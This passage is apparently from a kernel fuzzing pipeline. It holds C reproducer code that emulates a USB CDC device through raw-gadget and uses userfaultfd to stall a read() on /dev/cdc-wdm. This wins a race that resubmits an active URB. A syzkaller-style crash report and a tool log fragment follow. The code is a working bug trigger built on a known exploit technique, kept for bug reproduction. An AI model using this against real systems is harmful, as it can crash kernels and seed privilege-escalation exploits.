memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
} Reproduced:true ReproducedBugTitle:WARNING in service_outstanding_interrupt/usb_submit_urb ReproducedCrashReport:------------[ cut here ]------------
URB ffff888113ca3c00 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x79/0x18b0 drivers/usb/core/urb.c:379, CPU#0: syz-executor370/5853
Modules linked in:
CPU: 0 UID: 0 PID: 5853 Comm: syz-executor370 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:usb_submit_urb+0x7c/0x18b0 drivers/usb/core/urb.c:379
Code: 4c 89 f0 48 c1 e8 03 80 3c 28 00 74 08 4c 89 f7 e8 d9 60 da fa 49 83 3e 00 74 40 e8 fe 0e 6b fa 48 8d 3d 37 bd 35 09 48 89 de <67> 48 0f b9 3a b8 f0 ff ff ff eb 11 e8 e3 0e 6b fa eb 05 e8 dc 0e
RSP: 0018:ffffc90003d3fa78 EFLAGS: 00010293
RAX: ffffffff875af432 RBX: ffff888113ca3c00 RCX: ffff888196764b00
RDX: 0000000000000000 RSI: ffff888113ca3c00 RDI: ffffffff9090b170
RBP: dffffc0000000000 R08: ffffffff90836c7f R09: 1ffffffff2106d8f
R10: dffffc0000000000 R11: fffffbfff2106d90 R12: dffffc0000000000
R13: ffff888115d552b8 R14: ffff888113ca3c08 R15: 0000000000000cc0
FS: 0000555570a60400(0000) GS:ffff8881a4c6f000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f33f1b12000 CR3: 0000000103f65000 CR4: 0000000000352ef0
Call Trace:
<TASK>
service_outstanding_interrupt+0x155/0x2b0 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x86d/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f33f2b711fe
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fff21170828 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 0000555570a60400 RCX: 00007f33f2b711fe
RDX: 000000000000000a RSI: 00007f33f1b12000 RDI: 0000000000000004
RBP: 0000000000000005 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff211708e0
R13: 00007f33f1b12000 R14: 0000000000000005 R15: 00007fff211708c0
</TASK>
----------------
Code disassembly (best guess):
0: 4c 89 f0 mov %r14,%rax
3: 48 c1 e8 03 shr $0x3,%rax
7: 80 3c 28 00 cmpb $0x0,(%rax,%rbp,1)
b: 74 08 je 0x15
d: 4c 89 f7 mov %r14,%rdi
10: e8 d9 60 da fa call 0xfada60ee
15: 49 83 3e 00 cmpq $0x0,(%r14)
19: 74 40 je 0x5b
1b: e8 fe 0e 6b fa call 0xfa6b0f1e
20: 48 8d 3d 37 bd 35 09 lea 0x935bd37(%rip),%rdi # 0x935bd5e
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: b8 f0 ff ff ff mov $0xfffffff0,%eax
34: eb 11 jmp 0x47
36: e8 e3 0e 6b fa call 0xfa6b0f1e
3b: eb 05 jmp 0x42
3d: e8 .byte 0xe8
3e: dc 0e fmull (%rsi)
]
|
| 457/1 |
2026/09/11 23:54 |
action |
save-repro-c |
0m
Results:
|